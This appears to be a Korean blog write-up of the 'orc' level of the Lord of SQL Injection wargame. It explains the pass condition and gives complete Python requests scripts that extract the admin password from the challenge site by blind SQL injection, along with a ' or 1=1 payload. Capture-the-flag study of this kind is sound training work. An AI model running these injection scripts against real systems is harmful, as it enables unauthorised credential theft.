일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- sql injection
- element 조회
- 함수
- object
- xss game
- 사칙연산
- property
- blind sql injection
- lord of sql injection
- 객체
- 조건문
- 자바스크립트
- suninatas 풀이
- 메소드
- xss game 풀이
- htmlspecialchars
- 포인터
- jQuery
- window
- 배열
- python
- github
- Pwndbg
- 김성엽 대표님
- 파이썬
- burp suite
- 백준 알고리즘
- IF문
- 백준 파이썬
- document
- Today
- Total
power-girl0-0
[ Los ] orc 본문
해당 글에서는 requests모듈을 사용하여 풀었기 때문에,
requests모듈에 대해 모르시는 분들은 아래 주소를 보고 오시면 좋을 듯 합니다.
( 2021.03.18 - [언어/Python] - requests 모듈 )
[ 문제 ]
[ 풀이 ]
해당 문제에서는 아래 조건을 통과해야 CLEAR할 수 있다.
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); |
즉, pw를 맞춰야 문제가 풀린다.
소스코드의 9줄을 보니, id를 맞추면 'Hello admin'이라는 문장을 출력해준다.
이를 이용해서, Blind SQL Injection으로 비밀번호를 유추하여 문제를 풀 수 있었다.
Blind SQL Injection은 쿼리 결과 에 따른 서버의 참과 거짓 반응을 통해 공격을 수행한다.
따라서, id가 admin인 참의 결과를 이용해서 비밀번호를 유추할 수 있을 것으로 예상된다.
query문에 id는 이미 작성되어 있는 것을 확인할 수 있다.
이를 참고하여 or연산으로 "Hello admin"을 출력해보자.
? pw=' or 1=1%23 |
#은 인식되지 않기 때문에 %23을 넣어줘서 주석처리를 하였다.
이제 본격적으로 Blind Injection 공격으로 비밀번호를 유추해보자.
1. 비밀번호 길이 구하기
import requests
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?'
cookies={'PHPSESSID':'자신의 섹션 id'}
len_num = 0
while 1:
len_num += 1
value = " 'or id='admin' and length(pw)={} #".format(len_num)
params = {'pw':value}
response = requests.get(url,params=params, cookies=cookies)
print(len_num)
if "Hello admin" in response.text:
print("len : ",len_num)
break
2. 비밀번호 유추
해당 함수에서 인자로 불러와준 pw_len()은 위 1번에서 구한 비밀번호 길이 이다.
def ans_pw(len_num):
pwd= ''
for i in range(1, len_num+1):
print(i,"번째 검색 중")
for ch in range(48,122):
value = " 'or id='admin' and ord(substr(pw,{},1))={} #".format(i,ch)
params = {'pw':value}
response = requests.get(url,params=params, cookies=cookies)
print(ch)
if "Hello admin" in response.text:
pwd += chr(ch)
print("password : ", pwd)
break
return pwd
ans_pw(pw_len())
3. CLEAR
최종적으로 합친 소스코드는 아래와 같다.
ord( ) 함수는 아스키 코드를 숫자로 만들어주는 함수이다.
반대로, chr( ) 함수는 숫자를 아스키코드로 바꿔주는 함수이다.
substr( ) 함수는 지정한 특정 위치의 문자를 출력해주는 함수이다.
형식은 substr("찾을 문자","시작위치","찾을 글자수")이다.
import requests
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?'
cookies={'PHPSESSID':'자신의 섹션 id'}
def pw_len(): # 비밀번호 길이
len_num = 0
print("password 길이 ")
while 1:
len_num += 1
value = " 'or id='admin' and length(pw)={} #".format(len_num)
params = {'pw':value}
response = requests.get(url,params=params, cookies=cookies)
print(len_num)
if "Hello admin" in response.text:
print("password lenth : ",len_num)
break
return len_num
def ans_pw(len_num): #비밀번호 유추
pwd= ''
for i in range(1, len_num+1): #비밀번호 길이만큼 반복
print(i,"번째 검색 중")
for ch in range(48,122): #아스키코드 48부터 122까지 반복
value = " 'or id='admin' and ord(substr(pw,{},1))={} #".format(i,ch) # 한글자씩 아스키코드 대입
params = {'pw':value}
response = requests.get(url,params=params, cookies=cookies)
print(ch)
if "Hello admin" in response.text: # 비밀번호가 일치하면, 반복을 정지하기 위한 조건문
pwd += chr(ch) #비밀번호를 순차적으로 저장
print("password : ", pwd)
break
return pwd
ans_pw(pw_len())
문제를 클리어 하였다!!!!>_<
'War game > Lord of SQL Injection' 카테고리의 다른 글
[ Los ] darkelf (0) | 2021.03.20 |
---|---|
[ Los ] wolfman (0) | 2021.03.20 |
[ Los ] goblin (0) | 2021.01.26 |
[ Los ] cobolt (0) | 2021.01.25 |
[ Los ] gremlin (0) | 2021.01.25 |